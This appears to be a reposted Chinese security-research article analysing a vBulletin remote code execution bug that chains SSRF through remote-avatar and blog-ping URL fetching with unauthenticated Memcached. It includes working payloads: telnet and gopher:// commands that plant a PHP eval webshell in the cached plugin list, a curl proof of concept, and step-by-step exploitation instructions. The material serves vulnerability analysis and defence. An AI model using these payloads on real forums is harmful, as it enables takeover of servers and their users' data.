vBulletin rce 0day分析

admin 2019年5月10日22:28:42评论172 views字数 5876阅读19分35秒阅读模式
摘要

作者:Ambulong(安恒安全研究院)fd上有人公开了vBulletin的0day POC,但没有提供漏洞分析过程。vBulletin是国外领先的论坛程序,国内一般称其为VBB,基于PHP+mySQL开发.vBulletin是商业软件,需付费使用。

作者:Ambulong(安恒安全研究院)

0x00 前言


fd上有人公开了vBulletin0day POC,但没有提供漏洞分析过程。vBulletin是国外领先的论坛程序,国内一般称其为VBB,基于PHP+mySQL开发.vBulletin是商业软件,需付费使用。

vBulletin允许通过URL远程上传文件,但对URL并没有作严格的过滤,导致SSRF漏洞的产生。加上许多vBulletin网站同时将vBulletinMemcachedWEB服务器安装在一起,结合SSRF将导致漏洞变为命令执行。

0x01 漏洞分析


首先讲下vBulletin的plugin(hook)执行方式,vBulletin将plugin的信息(包括代码)存储在数据库,程序运行时临时从数据库读取代码执行,可以理解成将include 'pluginname.php'变成eval(getCodeFromDB('pluginname'))。在Memcache开启的情况下,vBulletin会将plugin的代码缓存在Memcached里来增加读取速度。

我们都知道访问Memcached是不需要密码的,这样一来如果Memcached的访问端口暴露在公网,我们就修改vBulletinMemcached中的plugin代码为恶意代码,这导致的后果将不堪设想。

vBulletin官网上的建议是Memcached不要和vBulletin安装在同台服务器,但许多站长对此还是视而不见,或者仅通过将防火墙设置将Memcached端口对外禁止访问就以为解决了问题。

不幸的是,vBulletin中存在SSRF漏洞,攻击者可以将存在漏洞的文件当作代理来向服务器上的Memcached发起本地请求。

Memcached未授权访问

我们首先看下Memcached的未授权访问是如何导致vBulletin命令执行的。

通过关键字查找,发现语句vBulletinHook::set_pluginlist($vbulletin->pluginlist),找到set_pluginlist的声明在文件./includes/class_hook.php中,根据注释内容:

// to call a hook: //  require_once(DIR . '/includes/class_hook.php'); //  ($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false; 

得知,plugin的调用方式为($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;,功能是获取plugin的代码并执行。

我们选用出现频率较高的global_start的代码,对应的语句是($hook = vBulletinHook::fetch_hook('global_start')) ? eval($hook) : false;,这句话在./global.php文件里,所以包含./global.php的页面都将包含我们的恶意代码。

接下来访问Memcached服务器看下pluginlist项的数据

$ telnet 172.16.80.156 11211 Trying 172.16.80.156... Connected to 172.16.80.156. Escape character is '^]'. get pluginlist ...(序列化后的数组) END quit 

vBulletin rce 0day分析

获取pluginlist的数据将返回序列化后的pluginlist数组。 相关代码在./includes/class_hook.php类函数build_datastore中。

$plugins = $dbobject->query_read("     SELECT plugin.*,         IF(product.productid IS NULL, 0, 1) AS foundproduct,         IF(plugin.product = 'vbulletin', 1, product.active) AS productactive     FROM " . TABLE_PREFIX . "plugin AS plugin     LEFT JOIN " . TABLE_PREFIX . "product AS product ON(product.productid = plugin.product)     WHERE plugin.active = 1         AND plugin." . "phpcode <> ''     ORDER BY plugin.executionorder ASC "); while ($plugin = $dbobject->fetch_array($plugins)) {     if ($plugin['foundproduct'] AND !$plugin['productactive'])     {         continue;     }     else if (!empty($adminlocations["$plugin[hookname]"]))     {         $admincode["$plugin[hookname]"] .= "$plugin[phpcode]/r/n";     }     else     {         $code["$plugin[hookname]"] .= "$plugin[phpcode]/r/n";     } } $dbobject->free_result($plugins);  build_datastore('pluginlist', serialize($code), 1); build_datastore('pluginlistadmin', serialize($admincode), 1); 

通过代码可知$code数组的格式为$code=array('hookname'=>'phpcode'); 我们要修改Memcached中的pluginlist代码,我们也需要将我们的代码放到$code数组内序列化后再写入Memcached

$code=array('global_start'=>'@eval($_REQUEST[/'eval/']);'); echo serialize($code)."/n".strlen(serialize($code)); 

输出:

a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} //序列化后的数据 59 //字符串长度 

接下来就是修改pluginlist项的数据为我们的pluginlist

$ telnet 172.16.80.156 11211 Trying 172.16.80.156... Connected to 172.16.80.156. Escape character is '^]'. set pluginlist 0 120 59 a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} STORED quit 

vBulletin rce 0day分析

命令修改了global_start的代码,所以包含了./global.php的页面都将含有我们的恶意代码。

这时访问http://172.16.80.156/showthread.php?eval=phpinfo();发现我们的代码已经执行。

vBulletin rce 0day分析

但是在大多数情况下,Memcached是不允许外网访问,这时就需要用到下面的SSRF

SSRF(Server-side Request Forgery,服务器端请求伪造)

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

via:http://wiki.wooyun.org/web:ssrf

(注:测试前先删除上一步的pluginlist,delete pluginlist)vBulletin的远程上传功能在vB_Upload_*类和vB_vURL类中都有使用到,我们以vB_Upload_Userpic为例分析。 在文件./includes/class_upload.php中类vB_Upload_Userpic->类函数process_upload()中调用了类函数accept_upload(),之后accept_upload()调用了fetch_remote_filesize(),再来调用了vB_vURL类,最后到vB_vURL_cURL类中的exec()函数,整个过程中传入的avatarurl变量都未作任何过滤。

报告文档中的POC:http://seclists.org/fulldisclosure/2015/Aug/58

$ curl 'http://sandbox.example.com/vb42/profile.php?do=updateprofilepic' -H 'Cookie: bb_userid=2;  bb_password=926944640049f505370a38250f22ae57' --data  'do=updateprofilepic&securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png' 

按报告来理解的话,Memcached将执行:

HEAD / set pluginlist 0 0 96 a:1:{s:12:"global_start";s:62:"if(isset($_REQUEST['eval'])){eval($_REQUEST['eval']);die();} ";} quit .png HTTP/1.0 Host: localhost User-Agent: vBulletin via PHP Connection: close 

但是在本地测试时,上面的EXP并不能使用,经抓包分析,在我们测试时链接中的%0D%0A并未能转换成换行符。 测试代码: #!php $url = 'http://172.16.80.158:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST1);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit'; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_HEADER, false); $str = curl_exec($curl); curl_close($curl); var_dump($str);

抓包结果:

vBulletin rce 0day分析

最后多次测试和查阅参考资料发现,在gopher协议下EXP可以复现,但是vB_Upload_Userpic只允许(http|ftp)s开头的链接。

参考资料:https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit?pli=1

文中给出的Exploit:

gopher://localhost:11211/1%0astats%0aquit  dict://locahost:11211/stats  ldap://localhost:11211/%0astats%0aquit 

然而将HTTP协议改为Gopher协议

$url = 'gopher://172.16.80.158:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST[1]);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit'; 

抓包结果:

vBulletin rce 0day分析

可以看出,此时的%0D%0A转换成换行符了。 接下来,我们需要的是一个能带入gopher://SSRF点,经过搜索对vB_vURL的调用,位置在./blog_post.phpdonotify内,函数send_ping_notification()

函数send_ping_notification()的声明在./includes/blog_functions_post.php,函数中调用的fetch_head_request()调用了vB_vURL类来发起请求,整个过程中$url变量未作过滤。 我们在前端可勾选发表博客中的附加选项通知在这篇文章中链接的其它博客,来调用这个变量。

0x02 漏洞利用


  1. 注册用户并登录。
  2. 发表新文章(http://*host*/blog_post.php?do=newblog)。
  3. 加入超链接gopher://localhost:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST[1]);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit

vBulletin rce 0day分析

  1. 附加选项中勾选通知在这篇文章中链接的其它博客

vBulletin rce 0day分析

vBulletin rce 0day分析

  1. 发表->选择链接->提交。

  2. 访问http://*host*/showthread.php?1=phpinfo();查看是否执行成功。

vBulletin rce 0day分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2019年5月10日22:28:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vBulletin rce 0day分析https://cn-sec.com/archives/59219.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息